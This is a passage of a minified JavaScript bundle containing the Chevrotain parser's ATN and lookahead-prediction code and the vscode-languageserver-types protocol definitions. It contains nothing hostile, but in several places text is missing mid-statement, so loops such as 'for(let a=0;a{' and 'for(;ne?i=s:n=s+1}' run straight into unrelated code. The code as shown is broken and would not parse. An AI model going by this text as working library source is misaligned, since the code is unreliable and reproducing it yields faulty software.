0?(Di(r,l.left),Di(l.right,a)):Di(r,a);let s={left:r,right:a};return t.decisionMap[qp(e,hXe(n),n.idx)]=r,s}function hXe(t){if(t instanceof Dn)return"Alternation";if(t instanceof dn)return"Option";if(t instanceof zr)return"Repetition";if(t instanceof _n)return"RepetitionWithSeparator";if(t instanceof Bn)return"RepetitionMandatory";if(t instanceof Fn)return"RepetitionMandatoryWithSeparator";throw new Error("Invalid production type encountered")}function fXe(t,e){let r=e.length;for(let a=0;a{"use strict";Vm();ER();Ff();o(qp,"buildATNKey");$f=1,ZYe=2,Npe=4,Mpe=5,R1=7,JYe=8,eXe=9,tXe=10,rXe=11,Ipe=12,yb=class{static{o(this,"AbstractTransition")}constructor(e){this.target=e}isEpsilon(){return!1}},D1=class extends yb{static{o(this,"AtomTransition")}constructor(e,r){super(e),this.tokenType=r}},vb=class extends yb{static{o(this,"EpsilonTransition")}constructor(e){super(e)}isEpsilon(){return!0}},L1=class extends yb{static{o(this,"RuleTransition")}constructor(e,r,n){super(e),this.rule=r,this.followState=n}isEpsilon(){return!0}};o(Ope,"createATN");o(nXe,"createRuleStartAndStopATNStates");o(Ppe,"atom");o(iXe,"repetition");o(aXe,"repetitionSep");o(sXe,"repetitionMandatory");o(oXe,"repetitionMandatorySep");o(lXe,"alternation");o(cXe,"option");o(Wp,"block");o(Bpe,"plus");o(Fpe,"star");o(uXe,"optional");o(zf,"defineDecisionState");o(N1,"makeAlts");o(hXe,"getProdType");o(fXe,"makeBlock");o(xP,"tokenRef");o(dXe,"ruleRef");o(pXe,"buildRuleHandle");o(Di,"epsilon");o(ia,"newState");o(bP,"addTransition");o(mXe,"removeState")});function TP(t,e=!0){return`${e?`a${t.alt}`:""}s${t.state.stateNumber}:${t.stack.map(r=>r.stateNumber.toString()).join("_")}`}var xb,M1,zpe=N(()=>{"use strict";Vm();xb={},M1=class{static{o(this,"ATNConfigSet")}constructor(){this.map={},this.configs=[]}get size(){return this.configs.length}finalize(){this.map={}}add(e){let r=TP(e);r in this.map||(this.map[r]=this.configs.length,this.configs.push(e))}get elements(){return this.configs}get alts(){return rt(this.configs,e=>e.alt)}get key(){let e="";for(let r in this.map)e+=r+":";return e}};o(TP,"getATNConfigKey")});function gXe(t,e){let r={};return n=>{let i=n.toString(),a=r[i];return a!==void 0||(a={atnStartState:t,decision:e,states:{}},r[i]=a),a}}function Vpe(t,e=!0){let r=new Set;for(let n of t){let i=new Set;for(let a of n){if(a===void 0){if(e)break;return!1}let s=[a.tokenTypeIdx].concat(a.categoryMatches);for(let l of s)if(r.has(l)){if(!i.has(l))return!1}else r.add(l),i.add(l)}}return!0}function yXe(t){let e=t.decisionStates.length,r=Array(e);for(let n=0;nKu(i)).join(", "),r=t.production.idx===0?"":t.production.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(", ")}> in <${wXe(t.production)}${r}> inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n}function wXe(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}function kXe(t,e,r){let n=ga(e.configs.elements,a=>a.state.transitions),i=Uae(n.filter(a=>a instanceof D1).map(a=>a.tokenType),a=>a.tokenTypeIdx);return{actualToken:r,possibleTokenTypes:i,tokenPath:t}}function EXe(t,e){return t.edges[e.tokenTypeIdx]}function SXe(t,e,r){let n=new M1,i=[];for(let s of t.elements){if(r.is(s.alt)===!1)continue;if(s.state.type===R1){i.push(s);continue}let l=s.state.transitions.length;for(let u=0;u0&&!LXe(a))for(let s of i)a.add(s);return a}function CXe(t,e){if(t instanceof D1&&nb(e,t.tokenType))return t.target}function AXe(t,e){let r;for(let n of t.elements)if(e.is(n.alt)===!0){if(r===void 0)r=n.alt;else if(r!==n.alt)return}return r}function Hpe(t){return{configs:t,edges:{},isAcceptState:!1,prediction:-1}}function Upe(t,e,r,n){return n=qpe(t,n),e.edges[r.tokenTypeIdx]=n,n}function qpe(t,e){if(e===xb)return e;let r=e.configs.key,n=t.states[r];return n!==void 0?n:(e.configs.finalize(),t.states[r]=e,e)}function _Xe(t){let e=new M1,r=t.transitions.length;for(let n=0;n0){let i=[...t.stack],s={state:i.pop(),alt:t.alt,stack:i};NS(s,e)}else e.add(t);return}r.epsilonOnlyTransitions||e.add(t);let n=r.transitions.length;for(let i=0;i1)return!0;return!1}function OXe(t){for(let e of Array.from(t.values()))if(Object.keys(e).length===1)return!0;return!1}var RS,Gpe,bb,Wpe=N(()=>{"use strict";Ff();$pe();zpe();NR();CR();Hae();Vm();Lw();ak();uk();PR();o(gXe,"createDFACache");RS=class{static{o(this,"PredicateSet")}constructor(){this.predicates=[]}is(e){return e>=this.predicates.length||this.predicates[e]}set(e,r){this.predicates[e]=r}toString(){let e="",r=this.predicates.length;for(let n=0;nconsole.log(n))}initialize(e){this.atn=Ope(e.rules),this.dfas=yXe(this.atn)}validateAmbiguousAlternationAlternatives(){return[]}validateEmptyOrAlternatives(){return[]}buildLookaheadForAlternation(e){let{prodOccurrence:r,rule:n,hasPredicates:i,dynamicTokensEnabled:a}=e,s=this.dfas,l=this.logging,u=qp(n,"Alternation",r),f=this.atn.decisionMap[u].decision,d=rt(cS({maxLookahead:1,occurrence:r,prodType:"Alternation",rule:n}),p=>rt(p,m=>m[0]));if(Vpe(d,!1)&&!a){let p=Jr(d,(m,g,y)=>(Ae(g,v=>{v&&(m[v.tokenTypeIdx]=y,Ae(v.categoryMatches,x=>{m[x]=y}))}),m),{});return i?function(m){var g;let y=this.LA(1),v=p[y.tokenTypeIdx];if(m!==void 0&&v!==void 0){let x=(g=m[v])===null||g===void 0?void 0:g.GATE;if(x!==void 0&&x.call(this)===!1)return}return v}:function(){let m=this.LA(1);return p[m.tokenTypeIdx]}}else return i?function(p){let m=new RS,g=p===void 0?0:p.length;for(let v=0;vrt(p,m=>m[0]));if(Vpe(d)&&d[0][0]&&!a){let p=d[0],m=Qr(p);if(m.length===1&&mr(m[0].categoryMatches)){let y=m[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===y}}else{let g=Jr(m,(y,v)=>(v!==void 0&&(y[v.tokenTypeIdx]=!0,Ae(v.categoryMatches,x=>{y[x]=!0})),y),{});return function(){let y=this.LA(1);return g[y.tokenTypeIdx]===!0}}}return function(){let p=wP.call(this,s,f,Gpe,l);return typeof p=="object"?!1:p===0}}};o(Vpe,"isLL1Sequence");o(yXe,"initATNSimulator");o(wP,"adaptivePredict");o(vXe,"performLookahead");o(xXe,"computeLookaheadTarget");o(bXe,"reportLookaheadAmbiguity");o(TXe,"buildAmbiguityError");o(wXe,"getProductionDslName");o(kXe,"buildAdaptivePredictError");o(EXe,"getExistingTargetState");o(SXe,"computeReachSet");o(CXe,"getReachableTarget");o(AXe,"getUniqueAlt");o(Hpe,"newDFAState");o(Upe,"addDFAEdge");o(qpe,"addDFAState");o(_Xe,"computeStartState");o(NS,"closure");o(DXe,"getEpsilonTarget");o(LXe,"hasConfigInRuleStopState");o(RXe,"allConfigsInRuleStopStates");o(NXe,"hasConflictTerminatingPrediction");o(MXe,"getConflictingAltSets");o(IXe,"hasConflictingAltSet");o(OXe,"hasStateAssociatedWithOneAlt")});var Ype=N(()=>{"use strict";Wpe()});var Xpe,kP,jpe,MS,tn,Gr,IS,Kpe,EP,Qpe,Zpe,Jpe,e0e,SP,t0e,r0e,n0e,OS,I1,O1,CP,P1,i0e,AP,_P,DP,LP,RP,a0e,s0e,NP,o0e,MP,Tb,l0e,c0e,u0e,h0e,f0e,d0e,p0e,m0e,PS,g0e,y0e,v0e,x0e,b0e,T0e,w0e,k0e,E0e,S0e,C0e,BS,A0e,_0e,D0e,L0e,R0e,N0e,M0e,I0e,O0e,P0e,B0e,F0e,$0e,IP,OP,z0e,G0e,V0e,U0e,H0e,q0e,W0e,Y0e,X0e,PP,Ge,BP=N(()=>{"use strict";(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(Xpe||(Xpe={}));(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(kP||(kP={}));(function(t){t.MIN_VALUE=-2147483648,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(jpe||(jpe={}));(function(t){t.MIN_VALUE=0,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(MS||(MS={}));(function(t){function e(n,i){return n===Number.MAX_VALUE&&(n=MS.MAX_VALUE),i===Number.MAX_VALUE&&(i=MS.MAX_VALUE),{line:n,character:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.line)&&Ge.uinteger(i.character)}o(r,"is"),t.is=r})(tn||(tn={}));(function(t){function e(n,i,a,s){if(Ge.uinteger(n)&&Ge.uinteger(i)&&Ge.uinteger(a)&&Ge.uinteger(s))return{start:tn.create(n,i),end:tn.create(a,s)};if(tn.is(n)&&tn.is(i))return{start:n,end:i};throw new Error(`Range#create called with invalid arguments[${n}, ${i}, ${a}, ${s}]`)}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.start)&&tn.is(i.end)}o(r,"is"),t.is=r})(Gr||(Gr={}));(function(t){function e(n,i){return{uri:n,range:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(Ge.string(i.uri)||Ge.undefined(i.uri))}o(r,"is"),t.is=r})(IS||(IS={}));(function(t){function e(n,i,a,s){return{targetUri:n,targetRange:i,targetSelectionRange:a,originSelectionRange:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.targetRange)&&Ge.string(i.targetUri)&&Gr.is(i.targetSelectionRange)&&(Gr.is(i.originSelectionRange)||Ge.undefined(i.originSelectionRange))}o(r,"is"),t.is=r})(Kpe||(Kpe={}));(function(t){function e(n,i,a,s){return{red:n,green:i,blue:a,alpha:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.numberRange(i.red,0,1)&&Ge.numberRange(i.green,0,1)&&Ge.numberRange(i.blue,0,1)&&Ge.numberRange(i.alpha,0,1)}o(r,"is"),t.is=r})(EP||(EP={}));(function(t){function e(n,i){return{range:n,color:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&EP.is(i.color)}o(r,"is"),t.is=r})(Qpe||(Qpe={}));(function(t){function e(n,i,a){return{label:n,textEdit:i,additionalTextEdits:a}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.undefined(i.textEdit)||O1.is(i))&&(Ge.undefined(i.additionalTextEdits)||Ge.typedArray(i.additionalTextEdits,O1.is))}o(r,"is"),t.is=r})(Zpe||(Zpe={}));(function(t){t.Comment="comment",t.Imports="imports",t.Region="region"})(Jpe||(Jpe={}));(function(t){function e(n,i,a,s,l,u){let h={startLine:n,endLine:i};return Ge.defined(a)&&(h.startCharacter=a),Ge.defined(s)&&(h.endCharacter=s),Ge.defined(l)&&(h.kind=l),Ge.defined(u)&&(h.collapsedText=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.startLine)&&Ge.uinteger(i.startLine)&&(Ge.undefined(i.startCharacter)||Ge.uinteger(i.startCharacter))&&(Ge.undefined(i.endCharacter)||Ge.uinteger(i.endCharacter))&&(Ge.undefined(i.kind)||Ge.string(i.kind))}o(r,"is"),t.is=r})(e0e||(e0e={}));(function(t){function e(n,i){return{location:n,message:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&IS.is(i.location)&&Ge.string(i.message)}o(r,"is"),t.is=r})(SP||(SP={}));(function(t){t.Error=1,t.Warning=2,t.Information=3,t.Hint=4})(t0e||(t0e={}));(function(t){t.Unnecessary=1,t.Deprecated=2})(r0e||(r0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&Ge.string(n.href)}o(e,"is"),t.is=e})(n0e||(n0e={}));(function(t){function e(n,i,a,s,l,u){let h={range:n,message:i};return Ge.defined(a)&&(h.severity=a),Ge.defined(s)&&(h.code=s),Ge.defined(l)&&(h.source=l),Ge.defined(u)&&(h.relatedInformation=u),h}o(e,"create"),t.create=e;function r(n){var i;let a=n;return Ge.defined(a)&&Gr.is(a.range)&&Ge.string(a.message)&&(Ge.number(a.severity)||Ge.undefined(a.severity))&&(Ge.integer(a.code)||Ge.string(a.code)||Ge.undefined(a.code))&&(Ge.undefined(a.codeDescription)||Ge.string((i=a.codeDescription)===null||i===void 0?void 0:i.href))&&(Ge.string(a.source)||Ge.undefined(a.source))&&(Ge.undefined(a.relatedInformation)||Ge.typedArray(a.relatedInformation,SP.is))}o(r,"is"),t.is=r})(OS||(OS={}));(function(t){function e(n,i,...a){let s={title:n,command:i};return Ge.defined(a)&&a.length>0&&(s.arguments=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.title)&&Ge.string(i.command)}o(r,"is"),t.is=r})(I1||(I1={}));(function(t){function e(a,s){return{range:a,newText:s}}o(e,"replace"),t.replace=e;function r(a,s){return{range:{start:a,end:a},newText:s}}o(r,"insert"),t.insert=r;function n(a){return{range:a,newText:""}}o(n,"del"),t.del=n;function i(a){let s=a;return Ge.objectLiteral(s)&&Ge.string(s.newText)&&Gr.is(s.range)}o(i,"is"),t.is=i})(O1||(O1={}));(function(t){function e(n,i,a){let s={label:n};return i!==void 0&&(s.needsConfirmation=i),a!==void 0&&(s.description=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.boolean(i.needsConfirmation)||i.needsConfirmation===void 0)&&(Ge.string(i.description)||i.description===void 0)}o(r,"is"),t.is=r})(CP||(CP={}));(function(t){function e(r){let n=r;return Ge.string(n)}o(e,"is"),t.is=e})(P1||(P1={}));(function(t){function e(a,s,l){return{range:a,newText:s,annotationId:l}}o(e,"replace"),t.replace=e;function r(a,s,l){return{range:{start:a,end:a},newText:s,annotationId:l}}o(r,"insert"),t.insert=r;function n(a,s){return{range:a,newText:"",annotationId:s}}o(n,"del"),t.del=n;function i(a){let s=a;return O1.is(s)&&(CP.is(s.annotationId)||P1.is(s.annotationId))}o(i,"is"),t.is=i})(i0e||(i0e={}));(function(t){function e(n,i){return{textDocument:n,edits:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&NP.is(i.textDocument)&&Array.isArray(i.edits)}o(r,"is"),t.is=r})(AP||(AP={}));(function(t){function e(n,i,a){let s={kind:"create",uri:n};return i!==void 0&&(i.overwrite!==void 0||i.ignoreIfExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="create"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(_P||(_P={}));(function(t){function e(n,i,a,s){let l={kind:"rename",oldUri:n,newUri:i};return a!==void 0&&(a.overwrite!==void 0||a.ignoreIfExists!==void 0)&&(l.options=a),s!==void 0&&(l.annotationId=s),l}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="rename"&&Ge.string(i.oldUri)&&Ge.string(i.newUri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(DP||(DP={}));(function(t){function e(n,i,a){let s={kind:"delete",uri:n};return i!==void 0&&(i.recursive!==void 0||i.ignoreIfNotExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="delete"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.recursive===void 0||Ge.boolean(i.options.recursive))&&(i.options.ignoreIfNotExists===void 0||Ge.boolean(i.options.ignoreIfNotExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(LP||(LP={}));(function(t){function e(r){let n=r;return n&&(n.changes!==void 0||n.documentChanges!==void 0)&&(n.documentChanges===void 0||n.documentChanges.every(i=>Ge.string(i.kind)?_P.is(i)||DP.is(i)||LP.is(i):AP.is(i)))}o(e,"is"),t.is=e})(RP||(RP={}));(function(t){function e(n){return{uri:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)}o(r,"is"),t.is=r})(a0e||(a0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.integer(i.version)}o(r,"is"),t.is=r})(s0e||(s0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&(i.version===null||Ge.integer(i.version))}o(r,"is"),t.is=r})(NP||(NP={}));(function(t){function e(n,i,a,s){return{uri:n,languageId:i,version:a,text:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.string(i.languageId)&&Ge.integer(i.version)&&Ge.string(i.text)}o(r,"is"),t.is=r})(o0e||(o0e={}));(function(t){t.PlainText="plaintext",t.Markdown="markdown";function e(r){let n=r;return n===t.PlainText||n===t.Markdown}o(e,"is"),t.is=e})(MP||(MP={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(r)&&MP.is(n.kind)&&Ge.string(n.value)}o(e,"is"),t.is=e})(Tb||(Tb={}));(function(t){t.Text=1,t.Method=2,t.Function=3,t.Constructor=4,t.Field=5,t.Variable=6,t.Class=7,t.Interface=8,t.Module=9,t.Property=10,t.Unit=11,t.Value=12,t.Enum=13,t.Keyword=14,t.Snippet=15,t.Color=16,t.File=17,t.Reference=18,t.Folder=19,t.EnumMember=20,t.Constant=21,t.Struct=22,t.Event=23,t.Operator=24,t.TypeParameter=25})(l0e||(l0e={}));(function(t){t.PlainText=1,t.Snippet=2})(c0e||(c0e={}));(function(t){t.Deprecated=1})(u0e||(u0e={}));(function(t){function e(n,i,a){return{newText:n,insert:i,replace:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.newText)&&Gr.is(i.insert)&&Gr.is(i.replace)}o(r,"is"),t.is=r})(h0e||(h0e={}));(function(t){t.asIs=1,t.adjustIndentation=2})(f0e||(f0e={}));(function(t){function e(r){let n=r;return n&&(Ge.string(n.detail)||n.detail===void 0)&&(Ge.string(n.description)||n.description===void 0)}o(e,"is"),t.is=e})(d0e||(d0e={}));(function(t){function e(r){return{label:r}}o(e,"create"),t.create=e})(p0e||(p0e={}));(function(t){function e(r,n){return{items:r||[],isIncomplete:!!n}}o(e,"create"),t.create=e})(m0e||(m0e={}));(function(t){function e(n){return n.replace(/[\\`*_{}[\]()#+\-.!]/g,"\\$&")}o(e,"fromPlainText"),t.fromPlainText=e;function r(n){let i=n;return Ge.string(i)||Ge.objectLiteral(i)&&Ge.string(i.language)&&Ge.string(i.value)}o(r,"is"),t.is=r})(PS||(PS={}));(function(t){function e(r){let n=r;return!!n&&Ge.objectLiteral(n)&&(Tb.is(n.contents)||PS.is(n.contents)||Ge.typedArray(n.contents,PS.is))&&(r.range===void 0||Gr.is(r.range))}o(e,"is"),t.is=e})(g0e||(g0e={}));(function(t){function e(r,n){return n?{label:r,documentation:n}:{label:r}}o(e,"create"),t.create=e})(y0e||(y0e={}));(function(t){function e(r,n,...i){let a={label:r};return Ge.defined(n)&&(a.documentation=n),Ge.defined(i)?a.parameters=i:a.parameters=[],a}o(e,"create"),t.create=e})(v0e||(v0e={}));(function(t){t.Text=1,t.Read=2,t.Write=3})(x0e||(x0e={}));(function(t){function e(r,n){let i={range:r};return Ge.number(n)&&(i.kind=n),i}o(e,"create"),t.create=e})(b0e||(b0e={}));(function(t){t.File=1,t.Module=2,t.Namespace=3,t.Package=4,t.Class=5,t.Method=6,t.Property=7,t.Field=8,t.Constructor=9,t.Enum=10,t.Interface=11,t.Function=12,t.Variable=13,t.Constant=14,t.String=15,t.Number=16,t.Boolean=17,t.Array=18,t.Object=19,t.Key=20,t.Null=21,t.EnumMember=22,t.Struct=23,t.Event=24,t.Operator=25,t.TypeParameter=26})(T0e||(T0e={}));(function(t){t.Deprecated=1})(w0e||(w0e={}));(function(t){function e(r,n,i,a,s){let l={name:r,kind:n,location:{uri:a,range:i}};return s&&(l.containerName=s),l}o(e,"create"),t.create=e})(k0e||(k0e={}));(function(t){function e(r,n,i,a){return a!==void 0?{name:r,kind:n,location:{uri:i,range:a}}:{name:r,kind:n,location:{uri:i}}}o(e,"create"),t.create=e})(E0e||(E0e={}));(function(t){function e(n,i,a,s,l,u){let h={name:n,detail:i,kind:a,range:s,selectionRange:l};return u!==void 0&&(h.children=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.name)&&Ge.number(i.kind)&&Gr.is(i.range)&&Gr.is(i.selectionRange)&&(i.detail===void 0||Ge.string(i.detail))&&(i.deprecated===void 0||Ge.boolean(i.deprecated))&&(i.children===void 0||Array.isArray(i.children))&&(i.tags===void 0||Array.isArray(i.tags))}o(r,"is"),t.is=r})(S0e||(S0e={}));(function(t){t.Empty="",t.QuickFix="quickfix",t.Refactor="refactor",t.RefactorExtract="refactor.extract",t.RefactorInline="refactor.inline",t.RefactorRewrite="refactor.rewrite",t.Source="source",t.SourceOrganizeImports="source.organizeImports",t.SourceFixAll="source.fixAll"})(C0e||(C0e={}));(function(t){t.Invoked=1,t.Automatic=2})(BS||(BS={}));(function(t){function e(n,i,a){let s={diagnostics:n};return i!=null&&(s.only=i),a!=null&&(s.triggerKind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.typedArray(i.diagnostics,OS.is)&&(i.only===void 0||Ge.typedArray(i.only,Ge.string))&&(i.triggerKind===void 0||i.triggerKind===BS.Invoked||i.triggerKind===BS.Automatic)}o(r,"is"),t.is=r})(A0e||(A0e={}));(function(t){function e(n,i,a){let s={title:n},l=!0;return typeof i=="string"?(l=!1,s.kind=i):I1.is(i)?s.command=i:s.edit=i,l&&a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.title)&&(i.diagnostics===void 0||Ge.typedArray(i.diagnostics,OS.is))&&(i.kind===void 0||Ge.string(i.kind))&&(i.edit!==void 0||i.command!==void 0)&&(i.command===void 0||I1.is(i.command))&&(i.isPreferred===void 0||Ge.boolean(i.isPreferred))&&(i.edit===void 0||RP.is(i.edit))}o(r,"is"),t.is=r})(_0e||(_0e={}));(function(t){function e(n,i){let a={range:n};return Ge.defined(i)&&(a.data=i),a}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.command)||I1.is(i.command))}o(r,"is"),t.is=r})(D0e||(D0e={}));(function(t){function e(n,i){return{tabSize:n,insertSpaces:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.uinteger(i.tabSize)&&Ge.boolean(i.insertSpaces)}o(r,"is"),t.is=r})(L0e||(L0e={}));(function(t){function e(n,i,a){return{range:n,target:i,data:a}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.target)||Ge.string(i.target))}o(r,"is"),t.is=r})(R0e||(R0e={}));(function(t){function e(n,i){return{range:n,parent:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(i.parent===void 0||t.is(i.parent))}o(r,"is"),t.is=r})(N0e||(N0e={}));(function(t){t.namespace="namespace",t.type="type",t.class="class",t.enum="enum",t.interface="interface",t.struct="struct",t.typeParameter="typeParameter",t.parameter="parameter",t.variable="variable",t.property="property",t.enumMember="enumMember",t.event="event",t.function="function",t.method="method",t.macro="macro",t.keyword="keyword",t.modifier="modifier",t.comment="comment",t.string="string",t.number="number",t.regexp="regexp",t.operator="operator",t.decorator="decorator"})(M0e||(M0e={}));(function(t){t.declaration="declaration",t.definition="definition",t.readonly="readonly",t.static="static",t.deprecated="deprecated",t.abstract="abstract",t.async="async",t.modification="modification",t.documentation="documentation",t.defaultLibrary="defaultLibrary"})(I0e||(I0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&(n.resultId===void 0||typeof n.resultId=="string")&&Array.isArray(n.data)&&(n.data.length===0||typeof n.data[0]=="number")}o(e,"is"),t.is=e})(O0e||(O0e={}));(function(t){function e(n,i){return{range:n,text:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.string(i.text)}o(r,"is"),t.is=r})(P0e||(P0e={}));(function(t){function e(n,i,a){return{range:n,variableName:i,caseSensitiveLookup:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.boolean(i.caseSensitiveLookup)&&(Ge.string(i.variableName)||i.variableName===void 0)}o(r,"is"),t.is=r})(B0e||(B0e={}));(function(t){function e(n,i){return{range:n,expression:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&(Ge.string(i.expression)||i.expression===void 0)}o(r,"is"),t.is=r})(F0e||(F0e={}));(function(t){function e(n,i){return{frameId:n,stoppedLocation:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(n.stoppedLocation)}o(r,"is"),t.is=r})($0e||($0e={}));(function(t){t.Type=1,t.Parameter=2;function e(r){return r===1||r===2}o(e,"is"),t.is=e})(IP||(IP={}));(function(t){function e(n){return{value:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.location===void 0||IS.is(i.location))&&(i.command===void 0||I1.is(i.command))}o(r,"is"),t.is=r})(OP||(OP={}));(function(t){function e(n,i,a){let s={position:n,label:i};return a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.position)&&(Ge.string(i.label)||Ge.typedArray(i.label,OP.is))&&(i.kind===void 0||IP.is(i.kind))&&i.textEdits===void 0||Ge.typedArray(i.textEdits,O1.is)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.paddingLeft===void 0||Ge.boolean(i.paddingLeft))&&(i.paddingRight===void 0||Ge.boolean(i.paddingRight))}o(r,"is"),t.is=r})(z0e||(z0e={}));(function(t){function e(r){return{kind:"snippet",value:r}}o(e,"createSnippet"),t.createSnippet=e})(G0e||(G0e={}));(function(t){function e(r,n,i,a){return{insertText:r,filterText:n,range:i,command:a}}o(e,"create"),t.create=e})(V0e||(V0e={}));(function(t){function e(r){return{items:r}}o(e,"create"),t.create=e})(U0e||(U0e={}));(function(t){t.Invoked=0,t.Automatic=1})(H0e||(H0e={}));(function(t){function e(r,n){return{range:r,text:n}}o(e,"create"),t.create=e})(q0e||(q0e={}));(function(t){function e(r,n){return{triggerKind:r,selectedCompletionInfo:n}}o(e,"create"),t.create=e})(W0e||(W0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&kP.is(n.uri)&&Ge.string(n.name)}o(e,"is"),t.is=e})(Y0e||(Y0e={}));(function(t){function e(a,s,l,u){return new PP(a,s,l,u)}o(e,"create"),t.create=e;function r(a){let s=a;return!!(Ge.defined(s)&&Ge.string(s.uri)&&(Ge.undefined(s.languageId)||Ge.string(s.languageId))&&Ge.uinteger(s.lineCount)&&Ge.func(s.getText)&&Ge.func(s.positionAt)&&Ge.func(s.offsetAt))}o(r,"is"),t.is=r;function n(a,s){let l=a.getText(),u=i(s,(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),h=l.length;for(let f=u.length-1;f>=0;f--){let d=u[f],p=a.offsetAt(d.range.start),m=a.offsetAt(d.range.end);if(m<=h)l=l.substring(0,p)+d.newText+l.substring(m,l.length);else throw new Error("Overlapping edit");h=p}return l}o(n,"applyEdits"),t.applyEdits=n;function i(a,s){if(a.length<=1)return a;let l=a.length/2|0,u=a.slice(0,l),h=a.slice(l);i(u,s),i(h,s);let f=0,d=0,p=0;for(;f0&&e.push(r.length),this._lineOffsets=e}return this._lineOffsets}positionAt(e){e=Math.max(Math.min(e,this._content.length),0);let r=this.getLineOffsets(),n=0,i=r.length;if(i===0)return tn.create(0,e);for(;ne?i=s:n=s+1}let a=n-1;return tn.create(a,e-r[a])}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line],i=e.line+1"u"}o(n,"undefined"),t.undefined=n;function i(m){return m===!0||m===!1}o(i,"boolean"),t.boolean=i;function a(m){return e.call(m)==="[object String]"}o(a,"string"),t.string=a;function 